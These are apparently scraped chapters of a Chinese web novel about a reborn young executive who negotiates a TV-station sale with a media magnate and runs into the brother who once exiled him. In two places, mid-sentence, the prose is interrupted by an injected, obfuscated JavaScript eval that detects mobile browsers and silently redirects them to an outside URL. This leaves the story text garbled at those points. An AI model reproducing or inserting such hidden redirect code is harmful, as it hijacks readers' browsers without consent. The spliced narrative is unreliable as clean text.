陈宗礼双手交叉在胸前,上斜眼打量着厉冬:“你来天峻几年了?” 几年?话题怎么又转了? 厉冬局促跟上老板的节奏,回答道:“今年第三年……” 三年了啊……某人跟着他不到一年时间,就已经敢上谈判桌,跟谈判方你来我往了。 陈宗礼喃喃道:“三年,应该也陪我去过不少谈判会议了。” 厉冬点头,应声道:“是的,收益匪浅。” 说完,心里突然有不好的预感掠过,凉丝丝的冷意慢慢攀上心头。 果不其然,陈宗礼道:“今天,跟莫多里的谈判,你做主要谈判,全当练练手?” 厉冬瞪大双眼,指着自己确认道:“我……我负责?”用几十亿的项目,练练手??? 陈宗礼转头看向窗外:“资料不是滚瓜烂熟了吗?放心,你可以的。” 我不可以!!厉冬在心里大喊,也只停留在心里。 本就焦虑的厉冬,觉得自己要吐了,那双不争气的腿,抖抖抖抖……得更厉害。 4. 第四章 曾经,陈一诺不喜欢傍晚。 日落黄昏让人视线变差,看远看近,都带着一层昏黄滤镜,让人如坠梦中。 此外,还有一个原因,傍晚太容易让人陷入“啊,怎么一天就过去了?”的自责中。 可人的心境会改变,如今的陈一诺,看着漫天紫夹粉的晚霞,只感慨:啊,我又赚了一天。 王之初的雷克塞斯慢慢绕过喷水池,停在LS酒店门口,他把车交给酒店门口的泊车小弟,跟陈一诺一起下车。 王之初比陈一诺慢半步,两人一前一后走进酒店大堂,沿途吸引不少旅客的目光。 几小时前,他们离开机场找造型师,给陈一诺从头到脚,翻修了一遍。 陈一诺底子好,在造型师那双魔术手下,变装后的效果惊人。 那头乌黑杂乱的卷毛,经过精心修剪,弯曲的波浪纹路乱而有序,沿着颅顶垂到两旁耳畔,发尾微卷往外延伸,看着像狮子头上的鬃毛,霸气又威严。黑框眼镜换上隐形,明亮又狡黠。 T恤破洞牛仔裤被换成讲究的灰西装三件套,把陈一诺白皙的肤色衬得亮了几度,举手投足,宛然一个优雅高贵的豪门翩翩贵公子。跟几小时前被称作“收破烂”的流浪汉判若两人。 紧跟其后的王之初也换上了合身黑西装,配上金属银色眼镜,让人如沐春风。 “先生!”守在门口的保镖伸手,把王之初拦住,问他:“麻烦出示一下身份证!” LS酒店是港城唯一允许合法赌场的酒店,安保严格,其中一条:未成年不准进入。 王之初熬到现在,已是经验丰富的专业律师。可他那张娃娃脸,让他看着像一个稚嫩的未成年! 他涨红着脸,抱怨道:“我已经成年了!” 保镖却不相信,再次要求他掏出身份证。王之初无奈,只好把身份证递上。 保镖看到身份证的年份,依旧不相信,把身份证照片在王之初的脸比对好几回,才疑心重重地把他们放进去。 一路上,陈一诺一直在笑,手肘撞着他调侃道:“老王,第几次了?你怎么总被当成未成年啊?!” 王之初翻了个白眼:“再笑,小心我揍你!” 陈一诺抿着嘴,老成地摆摆手:“小朋友不要使用暴力哦!” 王之初握紧拳头,严肃道:“滚!” …… 他们嘻嘻哈哈往里走,按照酒店大堂的指示抵达电梯间,跟莫多里约好的地点在酒店顶楼高台餐厅。 陈一诺双手揣进西装裤兜。等电梯的空档,眼睛漫无目的地扫视。扫到位于酒店大堂左侧的咖啡厅,停住了。 酒店的咖啡厅是开放式的,用高及腰部的柚木柜子给咖啡厅隔断出一片区域。在里面喝咖啡的人能清晰看见大堂的人流往来。 咖啡厅外,却站着几个带着耳麦的保镖。身后的柚木柜子上方,搭着狗仔的长枪短炮,他们神情紧张,明显在伺机行动。 王之初顺着他异样的目光,托正眼镜,皱眉道:“莫多里在港城的知名度那么高吗?怎么来那么多记者……” 商业谈判非常机密,金融记者都是事后采访。不可能谈判阶段就有记者等着,不合常理。 王之初眯眼看了看,手肘碰陈一诺说:“看台标不像财经记者,是狗仔吧。该不会是来拍你的?” 陈一诺的目光从咖啡厅收回,抬手看表,距离约定时间还有20分钟。 嘴上不以为然:“我多少年没回港城,哪还有人认得我?” 王之初恍然。不知不觉,陈一诺出国快7年。港城人和港媒一样,天天有新闻,最贪新忘旧。哪里还不记得这位七年前,被陈家赶出国的弃犬呢。 王之初想来想去,最终下结论:“如果不是拍你,那就是拍陈……” 话没说完,面前的电梯门缓缓打开,能承载13位乘客重量的电梯,里面只站着3个穿着西装的男人。 站在最前面那位魁梧大汉是保镖,隐没在他身后的那位,侧着脸跟身边的年轻人说话,一双标志性的上斜眼,无表情时还是一副凶相。 天生就不爱高兴的样子。 这样的人,此时却温和地安慰身旁的小男生:“聊完就放宽心……” 声音很低,陈一诺却还是听见了,这是陈宗礼罕有的温柔时刻。 “陈……宗礼……”王之初愣愣地看着电梯里的人,把名字说全。 明明是很轻的呢喃,但出于对名字的敏感,本人忽地抬起头。他的目光越过面前的保镖,对上陈一诺的眼睛。 重生以来,除了刚开始的激动,陈一诺的情绪一直平稳。毕竟比别人多活了一辈子,大小世面都见过了,又遇到了重生这种小说才有的玄幻事,以为没什么事能让他用“震撼”两个字形容了。 没想到,几秒的对视,还是让陈一诺被闪电击中似的动弹不得。 他以为一辈子过去了,自己再也不是看见陈宗礼就忍不住黏上去,没有安全感的弃犬。也不是动不动给陈宗礼撂狠话说“我肯定赢你”的毛头小子。 他以为的成熟,终究是他以为……身体反应最诚实,最骗不了人。 胸膛的激烈颤动,每个细胞的肆意叫嚣,都提醒着陈一诺,面前的人,是他曾经愿意追随一生的哥哥。 以至于对视的刹那,陈一诺晃了神,误以为从陈宗礼眼眸里捕捉到稍纵即逝的怔愣。 直到陈一诺被王之初拽着手臂,朝旁边退了一步。魁梧保镖先一步伸手格挡在他们之间,中断了两人的对视,才把他从臆想中快速抽离。 陈太子阔步走出电梯,视线没在他们身上停留哪怕0.1秒,似乎跟无情的港城狗仔一样,也贪新忘旧地没认出他。 …… 没人认出他,但所有人都认出了陈宗礼。 不知道谁喊了一声:“陈宗礼出来了!” “轰——”一下,狗仔们以迅雷不及掩耳的速度,突破保镖的严守,举着长枪短炮冲到陈宗礼面前,把他前方的路完全挡住。 “陈生,今天跟莫多里的谈判怎么样呢?TVA被收购几率大吗?” “能透露一些这次谈判的细节吗?” 前几句还在问收购相关的问题装正经,后面八卦的味道就浓了。 “来LS酒店谈TVA的收购问题,算跟李家示好吗?还是这个项目跟李家也有关系?” “有人拍到李思维深夜从你的大平层公寓离开,你们目前感情状况能透露一下吗?” 面对狗仔的提问,陈宗礼没有开口回应,也没给任何表情。 身旁的厉冬和保镖,非常熟练地用身体拦在陈宗礼身前,帮着区隔狗仔。 他们边往前走,嘴里边官方地念道:“不好意思,无可奉告!” …… “一诺……” 空旷的电梯,只剩他们两。王之初才敢喊他的名字。可喊了两遍都没反应,他又喊了一遍。 “一诺,你没事吧?” 陈一诺才哑着声音回答:“没事。” 他目光看向陈一诺,是个人都能听出这句“没事”,非常口不对心。 在电梯里,跟陈宗礼打了个照面后,陈一诺整个人都非常不对劲,脸色发青,浑身僵直,按电梯时不但按错了楼层,手指还在抖。 这些异样,全被王之初收入眼里。为了缓和气氛,他摸了摸鼻子,开始胡说八道:“哇……毕业后那么多年,我还是第一次看见活的陈宗礼。” “刚开始我都没认出他,太子爷的气场更强了,我以前就不敢看他,现在更不敢了。还是你厉害,敢跟他对视,还一点不怵。” 陈一诺本来没什么表情,听见他这几句安慰人的话,突然冷笑了声,笑得王之初心里发毛。 王之初惦记着待会儿的谈判,语重心长地提醒:“一星的资金问题,你最清楚……今天的谈判挺重要的,别因为跟陈宗礼的恩怨,坏了情绪。” 陈一诺内心长叹了一口气,无奈地想:不就是重生后看见了熟人,而他没认出自己么?至于失魂落魄到这种程度? 心里这么自嘲着,感官上却把上辈子的回忆炼成一块厚重的石头。还把石头跟自己绑在一起,一同没入幽深的湖水,疯了似的要与他同坠。 “叮——”,电梯门缓缓打开,他们抵达酒店顶层的高台餐厅。 陈一诺紧握拳头,指甲掐进肉里,疼痛让他清醒,把他从溺水中短暂抽离,获得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850428|175834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短暂的呼吸。 他左转快步走出电梯,朝顶层露台去。王之初赶紧跟上,指着反方向提醒道:“一诺,莫多里在那边!” 陈一诺没回应,一手推开露台的门,开阔的港城夜景缓和了电梯里的压抑。 他内心提醒自己,要赶紧调整情绪,不然,待会儿跟莫多里的谈判真的要黄。 王之初跟着他到露台,不解问道:“一诺……你没事吧……” 陈一诺突然转身问他:“有烟么?” “有!”王之初赶紧从口袋掏出一包烟,陈一诺手指有些发抖,按了好几次火机才把烟点燃。 陈一诺吸一口烟,慢慢等待尼古丁过肺,把脑海里的浑浊和烟一起呼出,缕缕白烟飘过,眼神才变得清明。 他缓缓开口:“我跟他,其实没什么恩怨……” 这样突然狗血的开头,让王之初那口烟直接呛在嗓子眼。 “咳咳咳……”他弓着腰一阵咳嗽,咳到眼泪都出来了,才憋出一句体己话:“我知道,你跟陈宗礼的恩怨情仇,其实都是小打小闹。是媒体夸大其词误导人……” 陈一诺咬着滤嘴摇头苦笑:“不,我们连小打小闹都没有。” 王之初手指擦走咳出的泪,不解地看着陈一诺。 当年,陈一诺转学到圣保罗中学,成了他同桌。某段时间,全校都在传他是陈家的“私生子”,跟陈太子不对付。后来,又传他是陈家的“养子”,跟陈太子还是不对付。 可他跟陈宗礼之间的关系到底如何,王之初从没问过陈一诺。陈一诺自己也不爱说私事。如今,重要关头,他突然说起自己跟陈宗礼的事,王之初有些着急。 “大哥!你倾诉心事分分场合好吧?还有10分钟就到约定时间了,谈判结束我再跟你喝酒畅谈怎么样?” 陈一诺躲开他手,胸口剧烈的跳动仍未停歇,身体因为激动而颤抖。 他压抑着情绪,淡淡道:“保持情绪稳定,摒除与谈判不相关的一切杂念。” “这是我上谈判课的时候,陈宗礼叮嘱我的。” 他双手撑在露台栏杆上,烟架在手指间,任他随风飘荡。要不是这身西装,王之初以为自己面前的人,是中学时期的陈一诺。 “我刚转学到圣保罗的状态你是知道的,每天像个隐形人,上学不听讲,放学去飙车,还被学校记过。” 王之初自然记得,如果一开始,有人说陈一诺能跟陈太子分庭抗礼,他第一个觉得对方有病。 陈太子不只是一个称呼,他是实打实的十项全能、母校之光。反观,陈一诺就是一个不起眼,偶尔闯祸的坏学生,是王之初爸妈勒令“别跟他玩”的那一类渣渣。 后来某天,陈一诺突然转性,上课认真听,也不去飙车了。成绩像坐火箭似的直线飞升。不但如此,还越来越帅……这对常驻班级第一的王之初来说,简直无法理解。 “那时,我总是赛车场飙车赚钱,结果,被陈宗礼发现了。他说,如果想赚钱就用成绩赚,每科考试80分以上,就有钱。如果满分给双倍。” 说到这里,咬着烟的嘴角上扬,露出可以拍牙膏广告的整齐白牙。 “但如果低于80分,就倒欠他钱。前几次考试,我一分钱没赚到,还倒欠他好多钱……” 陈一诺跟陈太子的交易,让王之初觉得割裂。 毕竟在校园时期,陈太子走到哪里都是焦点,但又遥不可及,看谁都如蝼蚁,没有一丝烟火气。 没想到,他会花心思跟陈一诺玩这种游戏,似乎想通过这样的打赌,把他引回正途。跟外界说他俩水火不容的传闻完全反转。 平时鲜少说私事的陈一诺,今天像开了闸,说个没完。 “后来,我成绩越来越好,满分是家常便饭,还稳坐年级第一。他就跟老太太说,让我也去会议室旁听。” “还说,如果我能给出一条建议,就给我奖励,如果建议被奶奶采纳,奖励双倍。” “久而久之,我慢慢学会了谈判技巧、知道怎么看财务报表、怎么管理公司运营……” “所以,我能变成今天这副模样……” 陈一诺仰头喷出最后一口烟:“全因为陈宗礼。” 5. 第五章 华灯初上,港城的夜景像一卷长轴画卷,在陈一诺面前徐徐铺开,同时,也勾出他大脑皱褶中暗藏的记忆。 “我记得,第一次上谈判桌。” “对方是一家A国的稀缺燃料供应商。由于那家供应商的燃料纯度最高,价格也高。每次采购部去谈判总占下风,谈下来的价格总比行业均价贵许多。” “刚开始,采购部高层不让我去,一方面认为我年轻,没谈判经验压不住场,另一方面,觉得对方是天峻重要供应商,万一我把人气跑了,他们去哪儿找替换?最后,是陈宗礼力排众议让我试试。” “他冷着脸质问采购部的高层,有没有能力把价格谈低10%?那群高层说,别说谈低10%,对方不加价就算不错了。陈宗礼就说,我们可以。我们指的是他和我,于是,那群高层就不说话了。” 王之初听得一愣,禁不住夸:“太子爷那么霸气啊?” 明明是夸陈宗礼,陈一诺却一脸骄傲,仿佛夸的是他。 他继续道:“何止霸气,他体恤我第一次谈判。谈判当天,他还陪我一起参加谈判,当我的助手。” 堂堂陈太子,给他当助手?王之初脸上写满了惊讶。 想起当时的情景,陈一诺咬着烟笑了笑:“谈判前,我腿抖得厉害,抖得桌子都跟着颤。陈宗礼按着我的腿,调侃我是不是帕金森。然后拉着我到露台,跟我说,待会儿无论谈成什么样,半小时内结束……” 王之初皱眉:“半小时能谈出什么。” 陈一诺轻笑,感慨道:“是啊,我也纳闷。直到谈判开始,我才发现,供应商派来的全是“老油条”,看见我是新人,觉得我年轻,报价比往年高了10%。” “我就说需要内部讨论,暂停了谈判。刚好半小时。” “从会议室里出来,陈宗礼跟我说,要搞清楚谈判的权力关系。既然我们是买方,我们才是高姿态的那方,主动权也应该在我们手上。如果他们认识不到这点,我们就手把手教他。” 光听陈一诺嘴里转述,王之初已经能想象当时对方那张没人情味的扑克脸,禁不住后背一凉。 “他说是这么说,问他具体怎么做,他就丢下一句:你自己想。” “我当时都懵了。那家供应商在港城只呆三天,他们要是走了,不但我丢脸,陈宗礼也跟着丢脸。” “不过……还好我把事情搞定了。” 陈一诺傲娇地挑眉,他骨子里似乎有种遇强则强的气势,陈宗礼虽然点拨他,却没给答案,反而逼他想办法。 他是被陈宗礼调教长大的,那些技能,在耳濡目染之下,用到别人身上简直轻而易举。 “天峻的接待部门每次给这供应商订的酒店,都是当地五星级,还带着去短途旅游,好吃好喝供着。” “我嘛,第一时间把这些待遇全部换了。星级酒店换成连锁商务酒店,选址还在郊区,别说夜生活,吃顿饭,还要打半小时的车,反正很麻烦。周围还有不少古/惑/仔打架……” “那些供应商立刻天天给我打电话,他们不敢投诉待遇不好,估计也猜到是因为自己狮子开大口,让我们不爽。只敢跟我打听,下一轮谈判什么时候开始。” “他们只想早点回A国,拥抱阳光海浪和沙滩,不想呆在郊区小旅馆,于是心态开始焦躁。” “我当然吊着他们了,就说内部还在讨论,毕竟报价太高……” 王之初问道:“你也不怕他们生气了直接回A国?到时候你怎么跟采购交代?” 陈一诺眨眨眼:“他们也是来做生意的。差别只是签一份高价合同,还是一份低于预期的合同。我拖到他们回A国那天的上午重启谈判。最后,以低于往年价格的10%,谈下了。” 他弹了一下舌,清脆地“TA”一声,得意道:“一战成名。” 回想起来,也就是从那时开始,陈一诺在天峻内部站稳脚跟。同时,被媒体正面地写入报道。可他的锋芒毕露,也引起了公司内外的舆论关注。开启他跟陈宗礼之间,“太子”和“养子”谁成为天峻继承人的新闻。 王之初又问:“听起来,陈宗礼对你很不错。” “是啊。”陈一诺怅然,“要不是他,我可能在某场赛车里被撞死,或者在某条巷子里被打死……” “当年,我真能为他上刀山下火海。” 王之初喃喃:“你把他当亲哥,他却把你当作威胁,还把你赶出国,难怪……”,难怪这些年你们一直冷战,王不见王。 陈一诺怅然道:“他把我当威胁还好了呢……” “在他眼里,我不配当他的敌人,连跟他站一起都不配,我只是需要他庇护的人之一。” “所以……那时候,他让我离开,我才那么难以接受。” 陈一诺脸色从刚刚的苍白,逐渐恢复正常。他手指一挑,燃尽的烟蒂划出一条完美的抛物线,落到垃圾桶。 陈一诺双手搭在西装衣领上抖了抖烟味:“我可以了,走吧。” 王之初烟还抽剩半根,慌忙把烟丢掉,一头雾水地看着陈一诺:“操……这就……就好了?” …… LS酒店三大卖点:全港唯一一家有赌牌的六星级酒店、四大家族李家旗下的物业以及顶层的高台餐厅。 坊间传闻,这家在港城享负盛名的高台餐厅,最初是李家纯女儿李思维提议设计的。 一般来说,顶层大多会设置成无边泳池。但为了让顾客体验极致观景,李思维打破常规,建议在酒店顶楼打造一家餐厅,设计上故意往外飘出十几米。 地面的人抬头往上看,飘出的部分,惊险的宛如跳水比赛用的高空跳台,于是命名为:高台餐厅。 担心不够惊险,她还让设计师把地板改成了钢化夹层玻璃。越靠近高台的座位,越能体验悬浮在几百米高空,把港城景色踩在脚下的刺激。 有时候,顾客用餐时,不慎掉落刀叉,猛然低头往下看,脚下几百米的视觉冲击让对方产生极速下坠的错觉,吓得腿软。 这惊险又刺激的设计,像极了生意场。 也不太一样,陈一诺想。 这里最多是精神伤害,但做生意,一个不小心,真的会万劫不复,死无全尸。 陈一诺突然很好奇,不知道刚才陈宗礼在这里谈判时是什么心情。 身旁的王之初身体僵硬,明显是恐高,他骂道:“莫多里这个老头,性格也太乖张了,谈判还故意选在高台餐厅,还挑了最恐怖的区域。” “坐在这里,脑子哪里想的谈判啊,只想活着这走出酒店吧。” 陈一诺脸上毫无波澜,他低声道:“老头子喜欢极限运动,像用小手段影响谈判方,好主导谈判。你别往下看就好了。” 说完,转头朝莫多里露出巨大的微笑,他伸出手跟对方热络地打了招呼:“莫多里先生,你好啊!” 接着故意用力踩了踩脚下的玻璃。玻璃颤了颤,发几声出闷响。听见声响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850429|175834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的客人,和王之初都吓一跳,忍不住剐了他一眼。 陈一诺假装没看见,恭维道:“您真会挑地方,这里也太刺激了。” 莫多里摸了摸下巴的胡须,自我调侃道:“你们年轻人,脑筋比我清醒,我老了,来这种地方才能打起精神……快坐下,我们速战速决。” 作为传媒大亨,莫多里这只老狐狸算盘打得响。一天三家同场竞技,还想速战速决,不是早就心有所属,就是跟对手玩心理战。 陈一诺的年纪都能当他孙子,面对莫多里这些出其不意的招数却一点不怵。 他坦然:“莫多里先生,几十亿的东西,别速战速决了,还是得从长计议。” 做生意讲究臭味相投,莫多里本来对这位“空降”谈判的陈一诺颇有微词,但看他年纪轻轻,自信大胆的性格,透露出些许欣赏。 坐下后,他没给一点缓冲期,直接开门见山问道:“听说你们跟奥莱有接触过,是没谈拢么?” 如果说,莫多里在传媒领域,有忌惮的对手,那就是奥莱。 莫多里说这句话的时候,王之初正打算悠闲地看餐牌点单。被老头子第一个问题梗住了! 老头怎么知道奥莱的事?那还要继续往下聊吗? 这么想着,他默默咽了口口水,把开餐牌慢慢放回原位,双手搭在膝盖上,不敢动了。 陈一诺脸色变得非常严肃:“莫多里先生,我请允许我澄清一下。” “繁星TV从来没考虑过和奥莱合作,你一直是我们唯一的选择!” “我不清楚你的消息从哪里来,但如果没有我跟奥莱谈判的证据,你还是别信了。搞不好是竞争对手放出来的假新闻。” 王之初那颗跳到嗓子眼的心,这才缓缓落下。 心中暗自感慨,还好陈一诺放了奥莱的“鸽子”,如果他真的去跟奥莱见面,那今天的谈判已经结束了。 莫多里沉思一瞬,外国人鼻梁高挺,目光审慎地打量眼前的年轻人,很快“呵呵呵”假笑了几声:“是嘛?那可能是误会,我们继续……” …… 莫多里开门见山的质疑,让陈一诺突然想起上辈子的往事。 当时,一星集团遇到现金流周转问题,打算出售繁星TV以换取一线生机。最开始,陈一诺的第一意向就是传媒大亨莫多里。没想到,吴奇先一步联系了奥莱,还说奥莱对繁星TV非常感兴趣。 出于信任,陈一诺先答应跟奥莱见面。没想到,这是吴奇给他下的一步“死棋”。 刚开始,跟奥莱的谈判相当顺利,谈判后的两周,那边以老板出差为由,迟迟没跟他们签署备忘。等陈一诺按耐不住杀上办公室,才发现那个叫“奥莱”的人,由始至终都是假冒的。 真正的奥莱,一直在R国滑雪。情急之下,他再想联系莫多里补救,可对方完全没有回应。 如今想来,吴奇大概在他们跟奥莱初次见面时,就把繁星TV被奥莱收购的“假消息”透露给了莫多里,断了他的后路。 当时,陈一诺察觉问题,回头质问吴奇。可这吃里扒外的“二五仔”早就不知所踪了。 因为这样一段历史,重生后的谈判,他第一时间排除奥莱,抓住吴奇,找莫多里谈。 如此果断,莫多里还是听到了风声。 陈一诺了解吴奇,单凭吴奇一个人的脑子,他绝不可能编织出那么环环相扣的连环计。 他不禁想,吴奇背后的金主,到底是谁?! 6. 第六章 吹来一阵晚风,减淡了夏日的燥热。高台餐厅内细碎的灯光亮起,忽明忽暗,像会呼吸的星星。 可惜,陈一诺是来谈判,不是来恋爱的,浪费了一夜美景。 为了私密性,莫多里他们包了一个4人卡座,莫多里和女秘书坐一边,他们坐另一边。 服务生过来,收走上一轮客人喝剩的咖啡。 陈一诺细心留意着,一杯剩一半的美式,杯碟旁放着两个空的糖包。另一杯全满的像拿铁,点的人一口没喝,杯面上的精致拉花融在咖啡里,随着时间流逝,被毁得面目全非。 服务生离开后,谈判继续。 莫多里给旁边的秘书打了个眼色,美女秘书的大红唇露出标准的微笑:“陈先生,繁星TV的情况,团队内部已经评估过。目前,在三家候选人里,你们并不突出,坦白说,我们对繁星的兴趣并不大。” “我们想先听听你的报价,再确定要不要继续往下谈。” 陈一诺浅浅笑了,跟他预料的一样,老狐狸开口就想聊价格。 前面的两家明显已经报过价,作为最后空降,且不具备优势的候选人,谈判是中断抑或继续,用一口价决定,确实高效。 老头算钱和算时间,一样精。 吴奇早就说过,繁星TV目前市场预估是10亿美元。莫多里收购前,内部也做过评估,肯定也清楚。现在压力到了陈一诺身上,他应该按市场预估报10亿,还是再低一些? 陈一诺还没说话,王之初在桌下拉了拉他的衣袖,他垂眸往下看,桌下手机屏幕亮起,打着一行字。 -10亿。 就是低于10亿的意思。 陈一诺收回目光,沉吟思索,片刻才开口:“莫多里先生,据我所知,近几年你忙着布局国际视野的传媒矩阵,现在,就差亚洲这块拼图了吧……” “但是,跟欧美其他地区都不同,亚洲这边的言论自由度相对窄。与其自己开一家电视台,不如直接在东南亚地区收购现成的。” “如果我没猜错……” “陈先生”,秘书先一步打断了他,“莫多里先生还要赶飞机,要不,你直接说预期的收购价吧?” 陈一诺说话的时候,一直盯着莫多里,话说一半被打断,他才缓缓把目光分给秘书。 谈判要明确权力对象,也就是做决定的“话事人”,不要被无关紧要的人和事打断你的思绪。 平日里,陈一诺的眼神狡黠灵动,看起来挺好亲近。此时,眉宇间却透出一股杀气,像一头隐忍不发的猎犬,只要猎物稍作挣扎,它随时扑上去咬断对方的咽喉。 他冷声道:“等我说完,可以吗?” 在陈一诺犀利视线的施压下,美女秘书怂了,她朝莫多里对视一眼,对方示意她安静,她便尴尬地咳嗽几声,不再说话。 获得主导权的陈一诺,这才慢慢继续被打断的话题:“如果我没猜错,整个东南亚,符合你收购标准的并不多。H国的HT,港城的TVA,还有繁星TV……其他的太小,你估计看不上。” “三家电视台里,TVA规模最大、收视率最高,应该是您的首选。” “但是……” 突然,旁边一桌的客人手捧蛋糕,热闹欢腾地唱起了生日歌,陈一诺借机买了个关子主动闭了嘴。 关键点被生生掐住,莫多里禁不住皱起眉,朝噪音方向不耐烦地看了一眼。 他身体向前倾,不再关心报价,而是迫不及待地催促:“但是什么?” 陈一诺表面若无其事,心里却得意地想:哈,老头上钩了。 他摸了摸鼻子,掩饰情绪,接着往下说道:“但是,TVA收购这件事,天峻内部点头了不算……”他手指暗示性地朝上指,“还要港城zf点头,你这笔生意才能做成。” 莫多里皱眉,一脸“还以为你有什么惊天内幕,就这?”的嫌弃,摆摆手。 “放心吧,天峻已经考虑过zf的约束问题,他们能谈妥。” 这句话,让陈一诺脸色猛地一沉。 …… 上辈子,莫多里确实最终选择收购TVA。 可是,临门一脚,由于港城zf不愿意把影响力如此巨大的本土电视台被外资收购,施压陈宗礼,最终导致这次收购取消。 莫多里回头收购那家最不起眼的HT电视台,结果它还坐地起价,大赚一笔。 陈一诺正是知道TVA背后有zf不可抗力的隐患,知道收购注定没戏,才把这事当成说服莫多里的理由。 可听老头的意思,天峻居然把ZF的问题提前考虑到了? 带着“重生buff”的陈一诺顿时陷入混乱:哎,怎么跟上辈子的剧情发展不一样啊? …… 这时,服务员恭恭敬敬地给他们端来咖啡,美式放在他面前,陈一诺沉默着放了两包糖。 秘书笑了:“陈先生也喝那么甜啊?” 这句话,“唰”的一下点醒了他。 上一轮加糖的那杯美式,是陈宗礼的。所以,秘书才说“也”。点拿铁那位,因为过于紧张,整杯拿铁一动没动。也就是说,负责谈判的人不是陈宗礼! 难怪剧情跟上辈子有出入,上辈子负责谈判的是陈宗礼,而今天临时换了人…… 陈一诺喝了一口比想象中还要苦的咖啡,决定以退为进,假意夸道:“天峻准备真周全啊,还能说服政府?怎么说服的啊。” 身旁的美女秘书笑了笑,像扳回一城似的炫耀:“陈总在国外,可能不了解港城的情况。TVA隶属四大家族的陈家,以他家在港城的地位,这种小事zf自然会开绿灯。” “天峻的厉总在谈判前探过zf的口风。只要价格没问题,收购就没问题。” 厉总……果然,不是陈宗礼本人。 他记得,这位厉冬是陈宗礼助理之一。刚刚在电梯间里,跟陈宗礼说话的就是他。 陈一诺听完秘书的话,只淡淡笑着点头:“原来这样……” 一旁的王之初看TVA明显考虑周全,心中一沉:哎呀,陈一诺这是真没戏了。 …… 谈判时,陈宗礼担任不同角色,有不同态度。 由他负责谈判时,应对非常缜密,办不到的绝对不松口。当他谈判处于辅助位时,态度完全相反,除非场面失控,他话很少,留给主谈判发挥的空间。 陈一诺眼前仿佛重现刚刚厉冬跟莫多里谈判的画面。 提及ZF的问题,肩负重任的厉冬坐姿笔挺,跟对方信誓旦旦:“zf方面没问题,我们有提前沟通过。” 厉冬的逻辑是:所有问题答应再说!万一不符合对方意愿,导致谈判破裂可不行。 如果换作陈宗礼,他的回答会更谨慎。 譬如:zf的方面变化是存在的,如果你们收购意向明确,能提升我们跟zf谈判的砝码,前提是,你们有足够的意向。 大白话,你们想买,我们去跟zf沟通的成功机率会大大增加,所以你们真的要收购吗?把收购意向抛给莫多里,这是陈宗礼的逻辑。 毕竟,关系再好,zf也是不可控因素。 上辈子,陈宗礼应该就是这样回答对方,虽然,最后跟zf的谈判还是没成。但至少,莫多里刚开始答应了收购。 至于最后,为什么没谈成…… “陈先生……”秘书手掌在他面前晃了晃,他回过神来,“你还好吧?” 陈一诺被拉回现实:“不好意思,我在想事情。” 秘书看了看时间,着急终结谈判:“今天就到这里吧,莫多里先生还要赶飞机……” 好不容易把握住的机会,还是泡了汤,有时候努力真的不一定能有回报。 他们刚要起身,陈一诺突然抬头看向莫多里:“莫多里先生,我们能私下说几句吗?” 美女秘书眼里露出“有完没完”的厌恶神色,心想,繁星TV根本没有翻盘机会,陈一诺还要垂死挣扎什么呢? 陈一诺却郑重地补了一句:“五分钟就好!” “行吧,希望陈先生给我五分钟的奇迹。” 莫多里叹了口气,朝美女秘书摆摆手,示意她先离开。 …… 四人卡座里,只剩下莫多里和陈一诺。 莫多里这头老狐狸鬼精,又不说话,只用摸手上的劳力士,默默地提醒陈一诺:抓紧时间。 陈一诺没浪费时间,直接切入正题:“虽然背后说竞争对手坏话不算有风度,但我还是想提醒你一句。” “今年是港城的选举年。” “莫多里先生应该比我清楚,换届的影响力。” 莫多里 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目前,东南亚的盘子大,但分散。能同时影响内地市场,还辐射东南亚其他国家的电视台少之又少。其中,得内地市场者得天下,已是业内共识。偏偏内地对传媒把控严格,总的来说,ZF官媒才是主流。 像TVA这种享受政策扶持,又有地理优势的地方电视台,非常稀缺。但内容也被zf严格监管,对内地覆盖,也只能是港城为主,辐射几个沿海周边城市。 繁星TV就不同,隶属国外电视台,规模不大,却拿着内地私营有线电视台的许可牌照。内容审核相对自由,ZF阻力小,能深入内地,还能辐射东南亚地区,价格却只需TVA的三分之一。性价比相当高。 花小钱就能把事办成,谁不愿意呢? 后知后觉的莫多里脸色明显变了变,他身体后倾靠在椅子上,碧蓝色眼睛看着栏杆外的夜景,嘴唇抿着,沉默了几分钟。 他接着陈一诺的话头往下说:“陈先生,繁星20亿太高了吧?” 肯还价,就还有希望! 陈一诺:“莫多里先生,我保证,繁星TV肯定物超所值。” 他表面气定神闲,实际上,心中一直在打鼓。 繁星TV的收购是非常重要的时间点。 …… 上辈子,他因为错失莫多里的收购,一星集团现金流陷入危机。在他为了筹钱焦头烂额之际,吴奇跟他说有一个金融项目回报率高周转快。出于对吴奇的信任,病急乱投医的陈一诺答应了。 结果,一个月后,警察上门,以涉嫌“内幕交易”拘捕了他。还为此被判入狱三年。 因此,无论莫多里答应20亿,还是10亿,他都会卖掉繁星TV,为一星的现金流续命。 陈一诺带着商人敢拚敢赢的癫狂和果断,该壮士断臂砍价的时候不手软,该赚回来的,一分钱也不能少。 上辈子如此,这辈子亦然。 …… 谈判桌另一边的莫多里,心里也不平静。 本来,他对这位临时加入的繁星TV并不感兴趣。三家候选电视台,TVA确实是他最中意的。 但眼前的漂亮小伙,说的话确实在理。老头子收购TVA的决心开始动摇。 他对华国政策也是略有耳闻的,遇上换届,一切都要重新洗牌。他认识的好几个外资投资者都遇到类似的问题。跟TVA的收购万一失败,他还要回头跟陈一诺谈。 